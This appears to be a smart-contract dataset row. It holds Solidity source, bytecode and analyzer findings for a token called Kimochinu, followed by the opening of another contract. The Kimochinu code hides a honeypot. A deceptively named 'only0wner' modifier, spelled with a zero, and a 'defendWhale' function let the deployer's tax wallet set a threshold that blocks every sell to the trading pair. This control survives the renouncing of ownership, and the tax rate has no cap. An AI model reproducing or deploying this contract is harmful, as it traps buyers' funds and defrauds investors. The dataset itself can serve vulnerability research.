function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() , "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_owner = address(0xdead);
}
}
contract Kimochinu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate=8;
address payable private _taxWallet;
string private constant _name = "Kimochinu";
string private constant _symbol = "KIMOCHINU";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _load = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0 ,"Rate must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_preventSlippage(from,to);
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_load = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
modifier only0wner() {
require(_taxWallet == _msgSender() );
_;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _preventSlippage(address from, address to) private{
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require( _load>100000);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, 2, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function defendWhale(uint256 g) external only0wner {
_load = g;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d3578063517758d8146101fe57806351bc3c851461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061242b565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fcb565b6103f6565b6040516101629190612410565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906125ad565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611f78565b61041e565b6040516101ca9190612410565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f59190612622565b60405180910390f35b34801561020a57600080fd5b5061022560048036038101906102209190612038565b6104fc565b005b34801561023357600080fd5b5061023c610567565b005b34801561024a57600080fd5b5061026560048036038101906102609190611ede565b6105e1565b60405161027291906125ad565b60405180910390f35b34801561028757600080fd5b50610290610632565b005b34801561029e57600080fd5b506102a7610787565b6040516102b49190612342565b60405180910390f35b3480156102c957600080fd5b506102d26107b0565b6040516102df919061242b565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611fcb565b6107ed565b60405161031c9190612410565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612038565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190611f38565b610e0b565b60405161039991906125ad565b60405180910390f35b3480156103ae57600080fd5b506103b7610e92565b005b60606040518060400160405280600981526020017f4b696d6f6368696e750000000000000000000000000000000000000000000000815250905090565b600061040a610403610f04565b8484610f0c565b6001905092915050565b6000600454905090565b600061042b8484846110d7565b6104ec84610437610f04565b6104e785604051806060016040528060288152602001612c2660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d610f04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112149092919063ffffffff16565b610f0c565b600190509392505050565b600090565b610504610f04565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b80600b8190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105a8610f04565b73ffffffffffffffffffffffffffffffffffffffff16146105c857600080fd5b60006105d3306105e1565b90506105de81611278565b50565b600061062b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611500565b9050919050565b61063a610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106be9061250d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4b494d4f4348494e550000000000000000000000000000000000000000000000815250905090565b60006108016107fa610f04565b84846110d7565b6001905092915050565b610813610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108979061250d565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db9061258d565b60405180910390fd5b8060078190555050565b6108f6610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a9061250d565b60405180910390fd5b600a60149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906124ad565b60405180910390fd5b610a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6a57600080fd5b505afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190611f0b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2657600080fd5b505afa158015610b3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5e9190611f0b565b6040518363ffffffff1660e01b8152600401610b7b92919061235d565b602060405180830381600087803b158015610b9557600080fd5b505af1158015610ba9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcd9190611f0b565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c56306105e1565b600080610c61610787565b426040518863ffffffff1660e01b8152600401610c83969594939291906123af565b6060604051808303818588803b158015610c9c57600080fd5b505af1158015610cb0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd59190612065565b5050506001600a60166101000a81548160ff021916908315150217905550600454600b819055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610db6929190612386565b602060405180830381600087803b158015610dd057600080fd5b505af1158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061200b565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed3610f04565b73ffffffffffffffffffffffffffffffffffffffff1614610ef357600080fd5b6000479050610f018161156e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f739061256d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe39061248d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ca91906125ad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e9061254d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae9061244d565b60405180910390fd5b600081116111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f19061252d565b60405180910390fd5b61120483836115da565b61120f8383836117d5565b505050565b600083831115829061125c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611253919061242b565b60405180910390fd5b506000838561126b9190612773565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112b0576112af6128ce565b5b6040519080825280602002602001820160405280156112de5781602001602082028036833780820191505090505b50905030816000815181106112f6576112f561289f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139857600080fd5b505afa1580156113ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d09190611f0b565b816001815181106113e4576113e361289f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061144b30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114af9594939291906125c8565b600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b6000600554821115611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e9061246d565b60405180910390fd5b60006115516117e5565b9050611566818461181090919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115d6573d6000803e3d6000fd5b5050565b6115e2610787565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156116505750611620610787565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156117d157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156117005750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561171757620186a0600b541161171657600080fd5b5b6000611722306105e1565b9050600a60159054906101000a900460ff1615801561178f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117a75750600a60169054906101000a900460ff165b156117cf576117b581611278565b600047905060008111156117cd576117cc4761156e565b5b505b505b5050565b6117e083838361185a565b505050565b60008060006117f2611a25565b91509150611809818361181090919063ffffffff16565b9250505090565b600061185283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a72565b905092915050565b60008060008060008061186c87611ad5565b9550955095509550955095506118ca86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195f85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ab81611be4565b6119b58483611ca1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a1291906125ad565b60405180910390a3505050505050505050565b6000806000600554905060006004549050611a4d60045460055461181090919063ffffffff16565b821015611a6557600554600454935093505050611a6e565b81819350935050505b9091565b60008083118290611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab0919061242b565b60405180910390fd5b5060008385611ac891906126e8565b9050809150509392505050565b6000806000806000806000806000611af18a6002600754611cdb565b9250925092506000611b016117e5565b90506000806000611b148e878787611d71565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611214565b905092915050565b6000808284611b959190612692565b905083811015611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd1906124cd565b60405180910390fd5b8091505092915050565b6000611bee6117e5565b90506000611c058284611dfa90919063ffffffff16565b9050611c5981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cb682600554611b3c90919063ffffffff16565b600581905550611cd181600654611b8690919063ffffffff16565b6006819055505050565b600080600080611d076064611cf9888a611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d316064611d23888b611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d5a82611d4c858c611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d8a8589611dfa90919063ffffffff16565b90506000611da18689611dfa90919063ffffffff16565b90506000611db88789611dfa90919063ffffffff16565b90506000611de182611dd38587611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e0d5760009050611e6f565b60008284611e1b9190612719565b9050828482611e2a91906126e8565b14611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e61906124ed565b60405180910390fd5b809150505b92915050565b600081359050611e8481612be0565b92915050565b600081519050611e9981612be0565b92915050565b600081519050611eae81612bf7565b92915050565b600081359050611ec381612c0e565b92915050565b600081519050611ed881612c0e565b92915050565b600060208284031215611ef457611ef36128fd565b5b6000611f0284828501611e75565b91505092915050565b600060208284031215611f2157611f206128fd565b5b6000611f2f84828501611e8a565b91505092915050565b60008060408385031215611f4f57611f4e6128fd565b5b6000611f5d85828601611e75565b9250506020611f6e85828601611e75565b9150509250929050565b600080600060608486031215611f9157611f906128fd565b5b6000611f9f86828701611e75565b9350506020611fb086828701611e75565b9250506040611fc186828701611eb4565b9150509250925092565b60008060408385031215611fe257611fe16128fd565b5b6000611ff085828601611e75565b925050602061200185828601611eb4565b9150509250929050565b600060208284031215612021576120206128fd565b5b600061202f84828501611e9f565b91505092915050565b60006020828403121561204e5761204d6128fd565b5b600061205c84828501611eb4565b91505092915050565b60008060006060848603121561207e5761207d6128fd565b5b600061208c86828701611ec9565b935050602061209d86828701611ec9565b92505060406120ae86828701611ec9565b9150509250925092565b60006120c483836120d0565b60208301905092915050565b6120d9816127a7565b82525050565b6120e8816127a7565b82525050565b60006120f98261264d565b6121038185612670565b935061210e8361263d565b8060005b8381101561213f57815161212688826120b8565b975061213183612663565b925050600181019050612112565b5085935050505092915050565b612155816127b9565b82525050565b612164816127fc565b82525050565b600061217582612658565b61217f8185612681565b935061218f81856020860161280e565b61219881612902565b840191505092915050565b60006121b0602383612681565b91506121bb82612913565b604082019050919050565b60006121d3602a83612681565b91506121de82612962565b604082019050919050565b60006121f6602283612681565b9150612201826129b1565b604082019050919050565b6000612219601783612681565b915061222482612a00565b602082019050919050565b600061223c601b83612681565b915061224782612a29565b602082019050919050565b600061225f602183612681565b915061226a82612a52565b604082019050919050565b6000612282602083612681565b915061228d82612aa1565b602082019050919050565b60006122a5602983612681565b91506122b082612aca565b604082019050919050565b60006122c8602583612681565b91506122d382612b19565b604082019050919050565b60006122eb602483612681565b91506122f682612b68565b604082019050919050565b600061230e601983612681565b915061231982612bb7565b602082019050919050565b61232d816127e5565b82525050565b61233c816127ef565b82525050565b600060208201905061235760008301846120df565b92915050565b600060408201905061237260008301856120df565b61237f60208301846120df565b9392505050565b600060408201905061239b60008301856120df565b6123a86020830184612324565b9392505050565b600060c0820190506123c460008301896120df565b6123d16020830188612324565b6123de604083018761215b565b6123eb606083018661215b565b6123f860808301856120df565b61240560a0830184612324565b979650505050505050565b6000602082019050612425600083018461214c565b92915050565b60006020820190508181036000830152612445818461216a565b905092915050565b60006020820190508181036000830152612466816121a3565b9050919050565b60006020820190508181036000830152612486816121c6565b9050919050565b600060208201905081810360008301526124a6816121e9565b9050919050565b600060208201905081810360008301526124c68161220c565b9050919050565b600060208201905081810360008301526124e68161222f565b9050919050565b6000602082019050818103600083015261250681612252565b9050919050565b6000602082019050818103600083015261252681612275565b9050919050565b6000602082019050818103600083015261254681612298565b9050919050565b60006020820190508181036000830152612566816122bb565b9050919050565b60006020820190508181036000830152612586816122de565b9050919050565b600060208201905081810360008301526125a681612301565b9050919050565b60006020820190506125c26000830184612324565b92915050565b600060a0820190506125dd6000830188612324565b6125ea602083018761215b565b81810360408301526125fc81866120ee565b905061260b60608301856120df565b6126186080830184612324565b9695505050505050565b60006020820190506126376000830184612333565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061269d826127e5565b91506126a8836127e5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126dd576126dc612841565b5b828201905092915050565b60006126f3826127e5565b91506126fe836127e5565b92508261270e5761270d612870565b5b828204905092915050565b6000612724826127e5565b915061272f836127e5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561276857612767612841565b5b828202905092915050565b600061277e826127e5565b9150612789836127e5565b92508282101561279c5761279b612841565b5b828203905092915050565b60006127b2826127c5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612807826127e5565b9050919050565b60005b8381101561282c578082015181840152602081019050612811565b8381111561283b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b612be9816127a7565b8114612bf457600080fd5b50565b612c00816127b9565b8114612c0b57600080fd5b50565b612c17816127e5565b8114612c2257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122097138b23c27ac60585dccafc71c0c50867633921e254af6ab5fdfb2d0d2b490364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,933 |
0x7a5e9e07bf0d7775387be699000c6564551a4cb0
|
/**
*Submitted for verification at Etherscan.io on 2022-02-24
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-23
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
